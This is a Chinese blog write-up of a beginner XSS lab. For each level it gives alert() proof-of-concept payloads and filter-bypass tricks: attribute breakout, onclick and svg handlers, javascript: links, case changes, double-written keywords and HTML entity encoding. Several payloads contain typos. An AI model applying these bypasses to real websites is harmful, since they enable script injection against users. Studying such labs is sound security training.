xss攻击(一)

xss攻击

前言: xss也是web安全中的一种常见的攻击方式,想要学习,就先要了解是什么。
xss攻击的定义:

XSS攻击全称跨站脚本攻击,是为不和层叠样式表(Cascading Style Sheets,
CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS,XSS是一种在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。

只是看概念是没意思的,要想真正的了解就要通过练习题目才能更加具体的感受。

level1

在这里插入图片描述
第一题非常简单就用,最普通的注入语句就可以了

<script>alert(/hacker)</scrip>

level 2

输入了简单的注入语句后,查看源代码
在这里插入图片描述
要想语句起作用,就要把input给闭合掉,可输入

"><script>alert(/hacker/)</script>

level3

输入简单注入语句后查看源代码

<input name=keyword  value='&lt;script&gt;alert(/hacker/)&lt;/script&gt;'>

可以看出<>被转义
就可以用另一种攻击方式,用onclick 事件,onclick 事件会在元素被点击时发生。onclick 事件直接包含在<>内,并且可以被执行。再观察页面源代码,是单引号,那就在前面加’把value给闭合掉。
payload

'onclick='javascript:alert(/hacker/>'

level 4


输入简单的注入语句后查看源代码

<input name=keyword  value="scriptalert(/hacker/)/script">
<input type=submit name=submit value=搜索 />

观察到<和>直接被过滤掉了
那就用onclick 事件,这里是双引号,那就在前面输入",把value给闭合掉。
payload

"onclick="javascript:alert(/hacker/)"

level 5

输入onclick注入语句后查看源代码
在这里插入图片描述
发现on中多了一个下划线,所以过滤了onclick事件,试试script,再看页面源代码,发现script也被过滤掉了。
那就用<a>标签构造攻击语句试试。
payload

"><a href="javascript:alert(/xss/)">hacker</a>

也可以再后面加上//注释掉后面的"/,以免对前面的语句产生影响

level 6

输入onclick语句查看源代码发现被过滤,

在这里插入图片描述再输入<a>标签语句查看源代码发现也被过滤了
在这里插入图片描述
这里过滤的是onclick,看到说可以改为大写试一下
payload

"ONCLICK="javascript:alert(/hacker/)"

看到有大佬还能用这样的语句

"><svg x="" Onclick=alert(1)>

level 7

输入scrip语句后查看源代码
在这里插入图片描述
可以看出<和>被过滤掉了,连关键字也被过滤掉了
可以用双写绕过

“<sscriptcript>alert(/hacker/)</sscriptcript>

这样是让其过滤掉中的script,但是一旦过滤掉,前后又可以重新拼接起来,形成一个完整的语句。

level8

输入了script语句查看源代码
在这里插入图片描述可以看出script被过滤掉了,在这里应当用<a>标签语句,仔细看它也是有友情提示的,这里已经有<a>标签,那么只用输出

javascript:alert(/hacker/)

在这里插入图片描述
查看源代码后发现script被过滤,换一种方式表达script
可以采用HTML字符实体转换
在这里插入图片描述
payload

java&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:alert(/hacker/)

方法二:用 html 的自解码机制就可以绕过(我倒是不会)

javasc&#114;ipt:alert(0)

level9

输入注入语句

javascript:alert(/hacker/)

查看源代码
在这里插入图片描述
输入的语句并没有进入到 <a>标签中,这里应该对格式有一定要求,在这里也有提示,要在后面输入http://否则不合法。
payload

java&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:alert(/hacker/)//http://

level0

在这里插入图片描述
这道题连输入都没有,查看源代码

<input name="t_link"  value="" type="hidden">
<input name="t_history"  value="" type="hidden">
<input name="t_sort"  value="" type="hidden">
</form>

可以先找到注入口
在这里插入图片描述
在查看源代码
在这里插入图片描述
可以看到t_sort就是注入口了
在这里插入图片描述
就可以了!
继续加油,未完待续!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值